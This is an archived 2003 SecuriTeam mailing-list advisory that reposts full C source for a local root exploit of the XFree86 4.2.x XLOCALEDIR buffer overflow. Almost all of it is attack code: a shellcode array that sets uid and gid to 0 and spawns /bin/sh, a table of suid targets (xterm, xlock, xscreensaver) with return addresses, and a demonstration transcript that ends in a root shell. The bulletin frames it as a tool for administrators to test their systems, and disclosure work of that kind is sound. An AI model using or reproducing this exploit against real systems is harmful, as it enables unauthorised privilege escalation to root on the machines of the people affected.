

# [EXPL] XFree86 XLOCALEDIR Exploit Code

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-03/0014.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 03/07/03

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 7 Mar 2003 13:42:16 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

In the US?

Contact Beyond Security at our new California office  
housewarming rates on automated network vulnerability  
scanning. We also welcome ISPs and other resellers!

Please contact us at: 323-882-8286 or [ussales@beyondsecurity.com](mailto:ussales@beyondsecurity.com)

-----

XFree86 XLOCALEDIR Exploit Code

---

## SUMMARY

A vulnerability in XFree86's XLOCALEDIR string handling allows a local attacker to cause the XFree86 to crash and execute arbitrary code. The following is an exploit code that can be used by administrators to test their systems for the mentioned vulnerability.

## DETAILS

```
/****
```

```
***
```

```
** oC-localX.c - XFree86 Version 4.2.x local root exploit
```

```
** By dcrpytr && tarranta / oC
```

```
***
```

```
** Tested against: Slackware 8.1
```

```
***
```

```
** This bug was found by tarranta and dcrpytr 3 january 2003.
```

```
** Its a strcpy in the xf86 libraries that we exploit, using
```

```
** the bug to get the root privileges. If you put to much data
```

```
** in the XLOCALEDIR environment variable all programs using this
```

## Securiteam: [EXPL] XFree86 XLOCALEDIR Exploit Code

```
** library will cause a segmnetation fault. Some wierd reason makes
** the program not execute the first 8 bytes of the shellcode.
***
** Demonstration – here we use xlock as the target
** -----
** martin@gDeU56:~$ ls -l /usr/X11R6/bin/xlock
** -rws--x--x 1 root bin 2193628 May 30 2002 /usr/X11R6/bin/xlock
** export XLOCALEDIR=`perl -e 'print "A" x 6000`
** martin@gDeU56:~$ xlock
** Segmentation fault
** eip 0x41414141 0x41414141
**
** Exploitation:
** martin@gDeU56:~$ ./oC-XFree86-4.2.0 -t 2
** ---- XFree86 Version 4.2.0 / X Window System – local root exploit ----
** [+] by: dcrpytr && tarranta
** [+] oC-2003 – http://crionized.net/
** [+] attacking: /usr/X11R6/bin/xlock
** [+] using ret: 0xbfffe86d
** [+] spawning root shell!!!!
** sh-2.05a# id;uname -a
** uid=0(root) gid=0(root) groups=100(users)
** Linux gDeU56 2.4.18 #4 Fri May 31 01:25:31 PDT 2002 i686 unknown
***
** Remember that there is more than one suid file using this lib.
** /usr/X11R6/bin/xterm
** /usr/X11R6/bin/xscreensaver
***
** This may be vulnerable in other distros!!!
** We are currently making out new targets. look on our page
** for the newest version!
***
** (C) COPYRIGHT oC 2003
** All Rights Reserved
*****
** GREETs: dgram, lonely_, upstream, evilrip
***
*****/
```

```
#define _GNU_SOURCE
```

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/errno.h>
```

```
#define VERSION "0.9"
```

## Securiteam: [EXPL] XFree86 XLOCALEDIR Exploit Code

```
/* 57 bytes shellcode by dcrpytr */
static char shellcode[] =
/* setuid(0); (ignored) */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x17" /* mov $0x17,%al */
"\xcd\x80" /* int $0x80 */

/* setuid(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x17" /* mov $0x17,%al */
"\xcd\x80" /* int $0x80 */

/* setgid(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x2e" /* mov $0x2e,%al */
"\xcd\x80" /* int $0x80 */

/* /bin/sh execve(); */
"\x31\xc0" /* xor %eax,%eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xb0\x0b" /* mov $0xb,%al */
"\xcd\x80" /* int $0x80 */

/* exit(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x01" /* mov $0x01,%al */
"\xcd\x80"; /* int $0x80 */

struct target {
    int index;
    char *distro;
    char *dest;
    char *name;
    u_long retaddr;
    int LEN;
};

/*
 * There is like 200+ binaries that segfaults to this
 * vuln but they are not suids. this is all the suids

```

## Securiteam: [EXPL] XFree86 XLOCALEDIR Exploit Code

```
* I found. Soundtracker is a music tracker that I am
* using and its vuln to.
*/
struct target exploit[] = {
{ 1, "Slackware 8.1 -", "/usr/X11R6/bin/xterm",
  "xterm", 0xbfffe86d, 6000 },

{ 2, "Slackware 8.1 -", "/usr/X11R6/bin/xlock",
  "xlock", 0xbfffe86d, 6000 },

{ 3, "Slackware 8.1 -", "/usr/X11R6/bin/xscreensaver",
  "xscreensaver", 0xbfffe86e, 6000 },

{ 0, NULL, NULL, NULL, 0, 0 }
};

void usage(char *cmd);

int main(int argc, char **argv)
{
  int i;
  int type;
  int size;
  int options;
  long retaddr;
  char buffer[6000];

  if(argc == 1) {
  usage(argv[0]);
  exit(0);
  }

  /* options of this exploit */
  while((options = getopt(argc, argv, "ht:")) != EOF) {
  switch(options) {
    case 'h':
      usage(argv[0]);
      exit(0);
    case 't':
      type = atoi(optarg);

      if (type > 3 || type < 0) {
        printf("Out of range!!\n");
        exit(0);
      }

      if (type == 0) {
        usage(argv[0]);
        printf("num . description\n"
          "-----+-----\n");
        for (i = 0; exploit[i].dest; i++)
```

## Securiteam: [EXPL] XFree86 XLOCALEDIR Exploit Code

```
    fprintf(stderr, "[%d] | %s %s\n", exploit[i].index,
exploit[i].distro, exploit[i].dest);

    exit(1);
}
break;
default:
usage(argv[0]);
exit(0);
}
}

size = exploit[type-1].LEN;
retaddr = exploit[type-1].retaddr;

fprintf(stderr, "\n---- oC-localX "VERSION" - XFree86 Version 4.2.0
local root exploit ----\n"
"[+] by: dcrpytr && tarranta\n"
"[+] oC-2003 - http://crionized.net\n"
"[+] attacking: %s\n"
"[+] using ret: 0x%8lx\n"
"[+] spawning shell!!!!\n", exploit[type-1].dest, retaddr);

for (i = 0; i < size; i += 4)
*(long *)&buffer[i] = retaddr;

memcpy(buffer + 1, shellcode, strlen(shellcode));

setenv("XLOCALEDIR", buffer, 1); /* seting env variable */

if ( (execl(exploit[type-1].dest, exploit[type-1].name, NULL)) == -1)
{
fprintf(stderr, "Try another target, you scriptkid!\n\n");
exit(-1);
}

return(0);
}

void usage(char *cmd)
{
fprintf(stderr, "\n---- oC-localX "VERSION" - XFree86 Version 4.2.0
local root exploit ----\n"
"by dcrpytr && tarranta\n"
"oC-2003 - http://crionized.net\n"
"usage: %s [-h] [-t <num>]\n"
"__options\n"
"-h\t- this help\n"
"-t num\t- choose target (0 for list)\n\n", cmd);
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:[dcryptr@crionized.net](mailto:dcryptr@crionized.net)>  
Dcryptr and Tarranta.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.